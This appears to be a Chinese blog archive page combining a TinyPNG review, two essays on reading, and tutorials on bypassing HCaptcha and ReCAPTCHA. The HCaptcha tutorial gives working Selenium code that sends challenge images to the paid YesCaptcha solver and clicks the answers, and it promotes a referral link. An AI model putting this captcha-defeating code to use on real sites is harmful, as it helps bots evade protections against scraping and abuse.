看名字我们就知道 tiny + png,tiny 就是小,png 就是图片的一种格式,就和图片压缩很接近了,简单好记。

那它的主要功能是什么呢?我们来看下主页:

可以看到,网站的一个大标题就是 “Smart WebP, PNG and JPEG compression”,意思就是智能的 WebP、PNG 和 JPEG 格式的压缩工具。

那么这个网站做了什么呢?

TinyPNG 网站举了一个例子:

可以看到原始图片和压缩后的图片对比几乎没有什么差别,而压缩前图片有 57KB,压缩后只有 15 KB。

测试

看介绍感觉很厉害的样子啊,那我们来测试下看看吧,这次我们从网上先保存一张图片来看看:

这张图片原图大小是 3.5MB,分辨率是 2356x1310,如图所示:

下面我们来上传下,点击这里就可以上传了,或者直接把图片拖拽到这个位置就可以:

这里写着我们可以上传最多 20 张图片,每张图片大小不超过 5MB,感觉这个限制已经相对宽松了。

压缩完成之后显示,我们图片的最终大小成了 999.1KB,整整缩小了 71%!

到底效果行不行,拉出来溜溜。

然后我们可以直接点击 Download 按钮下载下来就好,压缩后的图片效果如下:

放在一起对比下:

能看出哪个才是原图吗?

其实第二张才是原图,是不是几乎看不出什么差别?

背后技术

看简介可以了解到,TinyPNG 这个网站使用了有损压缩技术来减小 WebP、PNG、JPEG 格式图片的文件大小,它通过有选择地减少图像中的颜色数量来达到压缩效果,同时由于咱们人眼对这种细微颜色变化感知比较弱,所以压缩前后图片在人眼看到几乎是没什么区别的。

对于 PNG 图片来说,它其实细分为 PNG-8 和 PNG-24,它们有什么区别呢?

其实我们知道,每一个图片都是由一个个像素点组成的对吧,每一个像素点都有一定的颜色,那许许多多的像素点排列在一起就组成了一张图片。

在计算机里面,每个像素点其实都有一定的存储单位来表示,对于 PNG-8 来说,一个像素点是由 8 位二进制数表示的,而计算机中 8 位最多表示 2 的八次方,即 256 种组合,其实一个像素就能显示 256 种颜色。同理,而 PNG-24 就相当于一个像素点用 24 位来表示,所以能表示的颜色数量就是 2 的 24 次方,结果约 1600 万。所以 PNG-24 相比 PNG-8 来说每个像素可表示的颜色就多非常多,色彩也就更丰富,所以 PNG-24 适合摄影作品之类的比较丰富的图片。但随之而来的 ,PNG-24 的文件体积相比 PNG-8 也会大很多。

而对于人眼来说,其实一张图片用 PNG-8 和 PNG-24 来表示,如果不仔细放大看的话,效果其实不太明显。所以有时候我们为了更高的压缩比,就可以选用 PNG-8 这种图片存储格式,其体积会小一大半,加载速度也会快很多。

所以这种图很适合在网站开发的时候使用,所以你可以看到一些网站的 Logo、Banner 图都是 PNG-8 类型的图片。

所以实际上,TinyPNG 这个网站其实就是把 PNG-24 的图转成了 PNG-8 而已。

进一步测试

那知道原理之后,我们如果把 PNG-8 的图片再上传给 TinyPNG 这个网站,还能获得压缩吗?

我们来试试。

可以看到,我们将压缩后的图片再次尝试压缩,这次最终可能就是 959.9 KB 了,只获得了 4% 的压缩,所以可以看到几乎也没有什么压缩空间了。因为它无法再将 PNG-8 进一步降低每个像素的表示位数了。

支持情况

看来这个压缩效果的确还可以的,那么它的兼容性怎么样?

介绍说,它支持所有主流的浏览器,比如 Chrome、Firefox、Safari、Edge 甚至一些移动设备浏览器也是有很好的支持的,所以平时只要我们有浏览器,就能用了。

支持 APNG 吗?

不知道大家有没有听说过一种 PNG 图片格式,叫做 APNG,其实就是 Animated PNG,就是可以动的 PNG 图片,比如这张图片:https://ezgif.com/images/apng.png

大家可以打开看看效果。

对于这种图片,现在主流的浏览器也都支持显示了,如果你的浏览器支持,那么能看到这张图片是动的。

TinyPNG 对 APNG 这种格式也是支持的!

对于 PS 的支持

TinyPNG 也提供了 PS 的插件,安装之后我们也可以在 PS 里面直接使用 TinyPNG 了:

这个插件适用于 PS 的 CS5、CS6、CC2013-2022 所有版本。

具体大家可以看 https://tinypng.com/photoshop

不过坏消息是,这个插件是收费的,大家按需上车。

总结

好了,以上就是本文章全部内容了,希望对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

前面的文章我们介绍过 ReCaptcha 的模拟点击破解教程,但除了 ReCaptcha,还有另外和 ReCapacha 验证流程很相似的验证码,叫做 HCaptcha。

ReCaptcha 是谷歌家的,因为某些原因,咱们国内是无法使用 ReCaptcha 的,所以有时候 HCaptcha 也成了一些国际性网站的比较好的选择。

那今天我们就来了解下 HCaptcha 和它的模拟点击破解流程。

HCaptcha

我们首先看看 HCaptcha 的验证交互流程,其 Demo 网站为 https://democaptcha.com/demo-form-eng/hcaptcha.html,打开之后,我们可以看到如下的验证码入口页面:

看起来入口和 ReCaptcha 很相似的对吧,其实验证流程也是很类似的。

当我们点击复选框时,验证码会先通过其风险分析引擎判断当前用户的风险,如果是低风险用户,便可以直接通过,反之,验证码会弹出对话框,让我们回答对话框中的问题,类似如下:

这时候我们看到 HCaptcha 验证码会给我们一个问题,比如上图的问题是「请点击每张包含飞机的图片」,我们需要从下面的九张图中选择出含有飞机的图片,如果九张图片中,没有飞机,则点击「跳过 / Skip」按钮,如果有,则将所有带有飞机的图片都选择上,跳过按钮会变成「检查 / Verify」按钮,验证通过之后我们就可以看到如下的验证成功的效果了:

是不是整体流程和 ReCaptcha 还是还是非常相近的?

但其实这个比 ReCaptcha 简单一些,它的验证码图片每次一定是 3x3 的,没有 4x4 的,而且点击一个图之后不会再出现一个新的小图让我们二次选择,所以其破解思路也相对简单一些。

如何破解

整个流程其实我们稍微梳理下,就知道整体的的破解思路了,有这么两个关键点:

  • 第一就是把上面的文字内容找出来,以便于我们知道要点击的内容是什么。

  • 第二就是我们要知道哪些目标图片和上面的文字是匹配的,找到了依次模拟点击就好了。

听起来似乎很简单的对吧,但第二点是一个难点,我们咋知道哪些图片和文字匹配的呢?这就是一个难题。

前面 ReCaptcha 的破解过程我们了解过了使用 YesCaptcha 来进行图片的识别,除了 ReCaptcha,YesCaptcha 其实也支持 HCaptcha 的验证码识别,利用 YesCaptcha 我们也能轻松知道哪些图片和输入内容是匹配的。

下面让们来试试看。

YesCaptcha

在使用之前我们需要先注册下这个网站,网站地址是 https://yescaptcha.com/i/CnZPBu ,注册个账号之后大家可以在后台获取一个账户密钥,也就是 ClientKey,保存备用。

OK,然后我们可以查看下这里的官方文档:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/24543233/HCaptchaClassification+Hcaptcha,这里介绍介绍了一个 API,大致内容是这样的。

首先有一个创建任务的 API,API 地址为 https://api.yescaptcha.com/createTask,然后看下请求参数:

这里我们需要传入这么几个参数:

  • type:内容就是 ****

  • queries:是验证码对应的 Base64 编码,这里直接转成一个列表就可以

  • question:对应的问题 ID,也就是识别目标的代号,这里其实就是问题整句的内容

  • corrdinate:一个返回结果的控制开关,默认会返回每张图片识别的 true / false 结果,也就是第 x 张图片是否和图片匹配,如果加上该参数,那么 API 就会返回对应匹配图片的索引。

比如这里我们可以 POST 这样的一个内容给服务器,结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "HCaptchaClassification",
"queries": [
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
...
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
],
"question": "请单击每个包含卡车的图像。" // 直接上传问题整句
}
}

然后服务器就会返回类似这样的响应:

1
2
3
4
5
6
7
8
9
10
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, true, true, false, true, true] // 返回图片是否为目标,
"labels": ["truck", "boat", "boat", "truck", "truck", "airplane-right", "truck", "truck"] // 返回图片对应的标签
},
"taskId": "5aa8be0c-94a5-11ec-80d7-00163f00a53c""
}

OK,我们可以看到,返回结果的 solution 字段中的 objects 字段就包含了一串 true 和 false 的列表,这就代表了每张图片是否和目标匹配。

知道了这个结果之后,我们只需要将返回结果为 true 的图片进行模拟点击就好了。

代码基础实现

行,那有了基本思路之后,那我们就开始用 Python 实现下整个流程吧,这里我们就拿 https://democaptcha.com/demo-form-eng/hcaptcha.html 这个网站作为样例来讲解下整个识别和模拟点击过程。

识别封装

首先我们对上面的任务 API 实现一下封装,来先写一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests


class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, queries, question):
logger.debug(f'start to recognize image for question {question}')
data = {
"clientKey": self.api_key,
"task": {
"type": "HCaptchaClassification",
"queries": queries,
"question": question
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,这里我们就先定义了一个类 CaptchaResolver,然后主要接收两个参数,一个就是 api_url,这个对应的就是 https://api.yescaptcha.com/createTask 这个 API 地址,然后还有一个参数是 api_key,这个就是前文介绍的那个 ClientKey。

接着我们定义了一个 create_task 方法,接收两个参数,第一个参数 queries 就是每张验证码图片对应的 Base64 编码,第二个参数 question 就是要识别的问题整句,这里就是将整个请求用 requests 模拟实现了,最后返回对应的 JSON 内容的响应结果就好了。

基础框架

OK,那么接下来我们来用 Selenium 来模拟打开这个实例网站,然后模拟点选来触发验证码,接着识别验证码就好了。

首先写一个大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

这里我们先在构造方法里面初始化了一个 Chrome 浏览器操作对象,然后调用对应的 get 方法打开实例网站,接着声明了一个 WebDriverWait 对象和 CaptchaResolver 对象,以分别应对节点查找和验证码识别操作,留作备用。

iframe 切换支持

接着,下一步我们就该来模拟点击验证码的入口,来触发验证码了对吧。

通过观察我们发现这个验证码和 ReCaptcha 非常类似,其入口其实是在 iframe 里面加载的,对应的 iframe 是这样的:

另外弹出的验证码图片又在另外一个 iframe 里面,如图所示:

Selenium 查找节点是需要切换到对应的 iframe 里面才行的,不然是没法查到对应的节点,也就没法模拟点击什么的了。

所以这里我们定义几个工具方法,分别能够支持切换到入口对应的 iframe 和验证码本身对应的 iframe,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'.h-captcha > iframe')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "Main content")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

这样的话,我们只需要调用 switch_to_captcha_content_iframe 就能查找验证码图片里面的内容,调用 switch_to_captcha_entry_iframe 就能查找验证码入口里面的内容。

触发验证码

OK,那么接下来的一步就是来模拟点击验证码的入口,然后把验证码触发出来了对吧,就是模拟点击这里:

实现很简单,代码如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#anchor #checkbox')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
captcha_element: WebElement = self.get_captcha_element()
if captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

这里首先我们首先调用 switch_to_captcha_entry_iframe 进行了 iframe 的切换,然后找到那个入口框对应的节点,然后点击一下。

点击完了之后我们再调用 switch_to_captcha_content_iframe 切换到验证码本身对应的 iframe 里面,查找验证码本身对应的节点是否加载出来了,如果加载出来了,那么就证明触发成功了。

找出识别目标

OK,那么现在验证码可能就长这样子了:

那接下来我们要做的就是两件事了,一件事就是把匹配目标,也就是问题本身找出来,第二件事就是把每张验证码保存下来,然后转成 Base64 编码。

好,那么怎么查找问题呢呢?用 Selenium 常规的节点搜索就好了:

1
2
3
4
def get_captcha_target_text(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.prompt-text')))
return captcha_target_name_element.text

通过调用这个方法,我们就能得到上图中完整的问题文本了。

验证码识别

接下来,我们就需要把每张图片进行下载并转成 Base64 编码了,我们观察下它的 HTML 结构:

我们可以看到,每个验证码其实都对应了一个 .task-image 的节点,然后里面有个 .image-wrapper 的节点,在里面有一个 .image 的节点,那图片怎么呈现的呢?这里它是设置了一个 style CSS 样式,通过 CSS 的 backgroud 来设置了验证码图片的地址。

所以,我们要想提取验证码图片也比较容易了,我们只需要找出 .image 节点的 style 属性的内容,然后提取其中的 url 就好了。

得到 URL 之后,转下 Base64 编码,利用 captcha_resolver 就可以对内容进行识别了。

所以代码可以写为如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def verify_captcha(self):
# get target text
self.captcha_target_text = self.get_captcha_target_text()
logger.debug(
f'captcha_target_text {self.captcha_target_text}'
)
# extract all images
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image .image-wrapper .image')))
resized_single_captcha_base64_strings = []
for i, single_captcha_element in enumerate(single_captcha_elements):
single_captcha_element_style = single_captcha_element.get_attribute(
'style')
pattern = re.compile('url\("(https.*?)"\)')
match_result = re.search(pattern, single_captcha_element_style)
single_captcha_element_url = match_result.group(
1) if match_result else None
logger.debug(
f'single_captcha_element_url {single_captcha_element_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), 'wb') as f:
f.write(requests.get(single_captcha_element_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), (100, 100))
resized_single_captcha_base64_strings.append(
resized_single_captcha_base64_string)

logger.debug(
f'length of single_captcha_element_urls {len(resized_single_captcha_base64_strings)}')

这里我们提取出来了每张验证码图片的 url,这里是用正则表达式进行批评的,提取出 url 之后,我们然后将其存入了 resized_single_captcha_base64_strings 列表里面。

其中这里的 Base64 编码我们单独定义了一个方法,传入了图片路径和调整大小,然后可以返回编码后的结果,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image
import base64
from app.settings import CAPTCHA_RESIZED_IMAGE_FILE_PATH


def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

图片识别

好,那么现在我们已经可以得到问题内容了,也能得到每张图片对应的 Base64 编码了,我们直接利用 YesCaptcha 进行图像识别就好了,代码调用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# try to verify using API
captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_strings,
self.captcha_target_text
)
if not captcha_recognize_result:
logger.error('count not get captcha recognize result')
return
recognized_results = captcha_recognize_result.get(
'solution', {}).get('objects')

if not recognized_results:
logger.error('count not get captcha recognized indices')
return

如果运行正常的话,我们可能得到如下的返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, false, true, false, true, true, false],
"labels": [
"boat",
"seaplane",
"bicycle",
"train",
"boat",
"train",
"boat",
"boat",
"bus"
]
},
"taskId": "25fee484-df63-11ec-b02e-c2654b11608a"
}

现在我们可以看到 sulution 里面的 objects 字段就包含了 true false 的列表,比如第一个 true 就代表了第一个验证码是和问题匹配的,第二个 false 就代表了第二个验证码图片和问题是不匹配的。那序号和图片又是怎么对应的呢?见下图:

从左到右一行行地数,序号依次递增,比如第一行第一个序号就是 0,那么其结果就是 objects 结果里面的第一个结果,true。

模拟点击

现在我们已经得到 true false 列表了,我们只需要将结果是 true 的序号提取出来,然后对这些验证码小图点击就好了,代码如下:

1
2
3
4
5
6
7
8
9
# click captchas
recognized_indices = [i for i, x in enumerate(recognized_results) if x]
logger.debug(f'recognized_indices {recognized_indices}')
click_targets = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image')))
for recognized_index in recognized_indices:
click_target: WebElement = click_targets[recognized_index]
click_target.click()
time.sleep(random())

当然我们也可以通过执行 JavaScript 来对每个节点进行模拟点击,效果是类似的。

这里我们用 for 循环将 true false 列表转成了一个列表,列表的每个元素代表 true 在列表中的位置,其实就是我们的点击目标了。

然后接着我们获取了所有的验证码小图对应的节点,然后依次调用 click 方法进行点击即可。

这样我们就可以实现验证码小图的逐个识别了。

点击验证

好,那么有了上面的逻辑,我们就能完成整个 HCaptcha 的识别和点选了。

最后,我们模拟点击验证按钮就好了:

1
2
3
4
5
# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

而 verfiy_button 的提取也是用 Selenium 即可:

1
2
3
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '.button-submit')))
return verify_button

校验结果

点击完了之后,我们可以尝试检查网页变化,看看有没有验证成功。

比如验证成功的标志就是出现一个绿色小对勾:

检查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.CSS_SELECTOR, '#anchor #checkbox'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

这里我们先切换了 iframe,然后检查了对应的 class 是否是符合期望的。

最后如果 get_is_successful 返回结果是 True,那就代表识别成功了,那就整个完成了。

如果返回结果是 False,我们可以进一步递归调用上述逻辑进行二次识别,直到识别成功即可。

1
2
3
4
5
6
# check if succeed
is_succeed = self.get_is_successful()
if is_succeed:
logger.debug('verifed successfully')
else:
self.verify_captcha()

代码

以上代码可能比较复杂,这里我将代码进行了规整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/HCaptchaResolver

注册地址

最后需要说明一点,上面的验证码服务是收费的,每验证一次可能花一定的点数,比如识别一次 3x3 的图要花 10 点数,而充值一块钱就能获得 1000 点数,所以识别一次就一分钱,还是比较便宜的。

我这里充值了好几万点数,然后我就变成了 VIP5 级的账号。我研究了下发现大家如果用我的邀请链接 https://yescaptcha.com/i/CnZPBu 注册大家可以直接变成 VIP4,然后 VIP4 可以获取首充赠送 10% 的优惠,还不错哈~

希望本文对大家有帮助。

个人记录

你有没有过这样的经历:现在自媒体、短视频兴起的时代,我们有时候听到好像两种完全的对立的观点,但我们有时候可能觉得这也对,那也对,但我们就没能力去反驳和佐证某个观点。听风就是雨,觉得自己没有能力去分辨哪些是对的,哪些是错的。我们的大脑好像就像别人观点的跑马场,听到这个观点,脑子中过一遍,好像觉得又道理,又来了一个相反的观点,脑子中过一遍,好像也有道理。但很明显,二者肯定只有一个是对的,那为什么我们就没有能力分辨呢?

这是因为,我们脑中的知识储备还不够,对一个问题的思考还不够深刻。

读书是我们摄入知识的一个重要来源,就拿看书来说吧。

我们人总一种倾向性,那就是在读书的时候倾向于去寻找和自己意见观点相似的内容,从一些书中去寻找认同感。

借用《暗时间》里面的一段话:

我们在阅读的时候会无意识地过滤掉不符合我们既有知识和心智结构的知识,以我们情感所中意的方向对事实和观点进行“再解释”,对不符合我们立场、预期和情感诉求的观点弃之如敝履,对合我们立场、预期和情感诉求的观点则不细究其论证过程。

所以,很多时候,我们看似在看一本书,但多数情况下我们只是从大致层面上理解了我们倾向去接受的一些观点,而去忽略一些和我们想法相悖的观点。

结果是什么?只是道理穿肠过,执念心头坐。已有的概念和道理还是存在于我们的脑海里,没有的概念和道理也不会进入到我们的脑海里,其实这种阅读方式就是一种缺乏深度的阅读,这只不过是一些符号记忆,一种模糊认知,是很有问题的。

那说到这,有人可能就问,那什么才是有效的阅读呢?

有效的阅读是要用心去读的,带着思维去到一篇文本之中,去理解为什么作者就提出了这样的观点,这样的观点是怎样一步步论证出来的,论证过程中所用的依据的可信度高不高等等。其实这个过程有点像读论文了,我们读论文的时候一般就会按照上面的过程来分析,如果我们把这个模式应用到读书上,效果也会是很好的。

在阅读的过程中我们同时还要进行一些反面的思考,比如结论的对立面有没有道理,有没有可能通过类似的方式也能佐证结论的对立面。经过反向思考,我们可以强化整个思考的过程,对已有的正确结论的论证有更清晰的认知。因为一个问题的论证,它也有反证法的对不对?

这种阅读才是一种深度、有效的阅读。

但这里需要强调的是,这里说的深度阅读并不是让我们花费很多时间对一篇文章一句话一句话的扣,这里强调的深度阅读是要在阅读的过程中多去思考,去尝试理解其精髓和思维脉络,去辩证地看待一些观点。有时候有些书看起来很冗长的,举了非常多的例子都为了佐证一个观点,但实际上核心的点可能就那么几段话或甚至几句话,我们能够找出其中的关键思维脉络才是最关键的,而不是说要把每个例子也逐句扣完。

再借用《暗时间》里面的一段话:

在这样的阅读中,一篇文本能够帮助我们纠正我们的知识体系中有问题的结论或预设,可能会为我们已经确立的结论提供更深刻的佐证,可能会帮助我们弥补知识体系中的短板,进一步反思我们的知识体系中那些含糊、广而泛之的结论,也可能会彻底纠正我们之前错误的想法,也可能帮我们打开了一个新的知识分支。

如此的阅读,我们头脑中对的认知才能更加强化,同时也可以对我们错误的认知加以纠正,长此以往,我们的思维会在碰撞中不断成长。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人记录

我想多数人应该会对很多事情有所挑剔吧,比如买一件衣服的时候挑挑选选、货比三家最后才定下一件衣服,比如点餐的时候也挑挑选选找出想吃的一家。但有时候大家在看书的时候可能就没有那么“挑剔”,可能心想,这是本书,然后我花时间看书了,好像就可以了,就以为自己学会了,自己用功了,自己进步了,实际上,很多时候可能只是在自己骗自己,寻找一些心里安慰罢了,只是为了临时缓解自己的一些焦虑感罢了,但实际上真正有没有进步,有没有学到东西,要看自己是否真正去用心学了,当然另一方面也取决于书本身的质量好不好。

所以,上面提到了看一本书的关键两个点:

  • 一个是是否用心去看、去思考了。
  • 一个是书本身的质量如何。

今天,我们专门来说说第二点。

选一本好书,其实对我们的时间负责。

我们每个人的时间都是宝贵的,有时候我们随意地找本书烂书来看,说实话还不如不看。去花时间选一本好书,做好选书的功课是非常重要的。有时候决定读一本书之前,稍微花一点点时间去网上看看评价,综合分析一下,就能比较快地知道这本书到底值不值得看。因为有时候读一本书的时候我们可能花很多时间去深入阅读,在深入阅读之前,迅速了解一本书的质量可以帮我们节省很多的时间,甚至说看到某本书质量完全不行,那直接摒弃不看,那就省去了看这本书的时间,对不对?

个人建议,多读那些经典好书。

那么问题来了,怎么知道一本书是好书呢?依我个人而言,主要有这么几个点:

  • 看评价。我们说群众的眼睛是雪亮的,一千个读者会有一千个哈姆雷特。所以,每个人看完书之后都可能会有不同视角的评价。个人建议去豆瓣、亚马逊上先去看看评价是怎样的,比如评分过低两三分的那种直接 pass 就行了。另外除了看评分,也去看看一些文字评价,特别要注意去看看那些低分评价是怎么说的,多数情况下,一些小众的低分评价可能更多来自于一些懂行的人,而一些大众的高分评价很可能是浮于表面的评价或者甚至是刷的。所以,如果我们从一些低分评价里面都找不出来一些实质的反驳观点,那基本上这本书应该是不错的了。
  • 看目录和简介。通常情况下,一本书的目录和简介都是公开的。通过目录我们能够快速地了解到这本书讲了什么内容,是不是符合我们的期望,有没有我们真正想学的内容。通过简介我们可以大致了解这本书的写作初衷,解决了什么痛点,传达给我们什么信息,另外我们还能通过简介大致了解到作者的思维脉络。基本上一本书要有一个清晰有层次的目录和简介,这本书就差不到哪里去。
  • 看作者。这个其实分两种情况了,一种情况是我们知道这个作者,另一种情况是我们不知道这个作者。对于前者,如果他是一个知名作家、教授或者曾经写过一些优秀的作品,那么他的某本书应该差不了。对于后者,我们可以去查阅他的相关简介、履历,尝试了解一些他的其他作品,了解下他人对作者的评价,如果不错的话,那么该作者的作品应该大概率会不错的。
  • 看样章。一些书的网站上通常都会有一些试读章节,我们可以选一些章节来阅读下。比如条理是否清晰、内容是否深刻,其实读上个几页或者两三节我们就知道了。如果样章的内容都让我们感到不知所云,那么整本书应该就不值得读了。

好,那知道了好书的一些评判标准,那从哪里找到一些好书呢?

  • 排行榜:这其实和看电影是类似的了,比如一些豆瓣上的优秀书单,一些高分评价的书,通常都差不了。
  • 朋友推荐:一般来说,一个人能跟我们成为朋友,那他的思维和三观应该不会和我们差太多。那如果朋友觉得还不错的话,我们应该也多数情况下不会觉得很差的。另外,朋友一般在推荐书的时候,可能真的会挑自己印象最深刻的或者近期读到的最值得说的书告诉我们,所以这个信息其实是朋友又帮我们经过了一些筛选得到的,所以多数情况下,一些朋友推荐的书质量应该还都不错。
  • 引用:一本好的书籍或作品,往往在其他多数作品、文章、论文里面会被引用,这个信息我们也值得注意下。比如我最近读了刘未鹏的《暗时间》,他的书里面推荐了几本关于思维的书籍《这才是心理学》、《你的灯亮着吗》、《合作的进化》等书,应该都差不了。
  • 同一作者的著作:我们觉得某本书写得还不错,那么该作者的其他书籍应该也在多数情况下会不错。就像一个歌手出了一首不错的歌,那么其他的一些歌的质量应该也差不了。一样的道理。

好了,今天就唠到这里,总结下,这篇文章主要讲了:

  • 多读那些经典好书,选一本好书,其实对我们的时间负责。
  • 怎样知道一本书是一本好书。
  • 怎样去寻找一本好书。

希望对大家有所启发~

本文部分论点来源:《暗时间》

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

大家好,我是崔庆才。

之前的时候我分享过 ReCAPTCHA 的破解方案,那种方案是获取到 ReCAPTCHA 其中的一个 siteKey,然后将 siteKey 直接提交给 ReCAPTCHA 相关的破解服务来实现破解。

这次,我们再来介绍一种更灵活更强大的全模拟点击破解方案,整体思路就是将全部的验证码图片进行识别,并根据识别结果对 ReCAPTCHA 验证码进行模拟点击,从而最终通过验证码。

ReCAPTCHA 介绍

在开始之前,我这里先简单提下什么是 ReCAPTCHA,可能大家见的不多,因为这个验证码在国内并没有那么普及。

验证码是类似这样子的:

我们这时候需要点击验证码上的小框来触发验证,通常情况下,验证码会呈现如下的点选图:

比如上面这张图,验证码页面会出现九张图片,同时最上方出现文字「树木」,我们需要点选下方九张图中出现「树木」的图片,点选完成之后,可能还会出现几张新的图片,我们需要再次完成点选,最后点击「验证」按钮即可完成验证。

ReCAPTCHA 也有体验地址,大家可以打开 https://www.google.com/recaptcha/api2/demo 查看,打开之后,我们可以发现有如上图所示的内容,然后点选图片进行识别即可。

整体识别思路

其实我们看,这种验证码其实主要就是一些格子的点选,我们只要把一些相应的位置点击对了,最后就能验证通过了。

经过观察我们发现,其实主要是 3x3 和 4x4 方格的验证码,比如 3x3 的就是这样的:

4x4 的就是这样的:

然后验证码上面还有一行加粗的文字,这就是我们要点选的目标。

所以,关键点就来了:

  • 第一就是把上面的文字内容找出来,以便于我们知道要点击的内容是什么。

  • 第二就是我们要知道哪些目标图片和上面的文字是匹配的,找到了依次模拟点击就好了。

听起来似乎很简单的对吧,但第二点是一个难点,我们咋知道哪些图片和文字匹配的呢?这就难搞了。

其实,这个靠深度学习是能做到的,但要搞出这么一个模型是很不容易的,我们需要大量的数据来训练,需要收集很多验证码图片和标注结果,这总的工作量是非常大的。

那怎么办呢?这里给大家介绍一个服务网站 YesCaptcha,这个服务网站已经给我们做好了识别服务,我们只需要把验证码的大图提交上去,然后同时告诉服务需要识别的内容是什么,这个服务就可以返回对应识别结果了。

下面我们来借助 YesCaptcha 来试试识别过程。

YesCaptcha

在使用之前我们需要先注册下这个网站,网站地址是 https://yescaptcha.com/i/CnZPBu,注册个账号之后大家可以在后台获取一个账户密钥,也就是 ClientKey,保存备用。

OK,然后我们可以查看下这里的官方文档:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169/ReCaptchaV2Classification+reCaptcha+V2,这里介绍介绍了一个 API,大致内容是这样的。

首先有一个创建任务的 API,API 地址为 https://api.yescaptcha.com/createTask,然后看下请求参数:

这里我们需要传入这么几个参数:

  • type:内容就是 ReCaptchaV2Classification

  • image:是验证码对应的 Base64 编码

  • question:对应的问题 ID,也就是识别目标的代号。

比如这里我们可以 POST 这样的一个内容给服务器,结构如下:

1
2
3
4
5
6
7
8
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "ReCaptchaV2Classification",
"image": "/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDc....",
"question": "/m/0k4j"
}
}

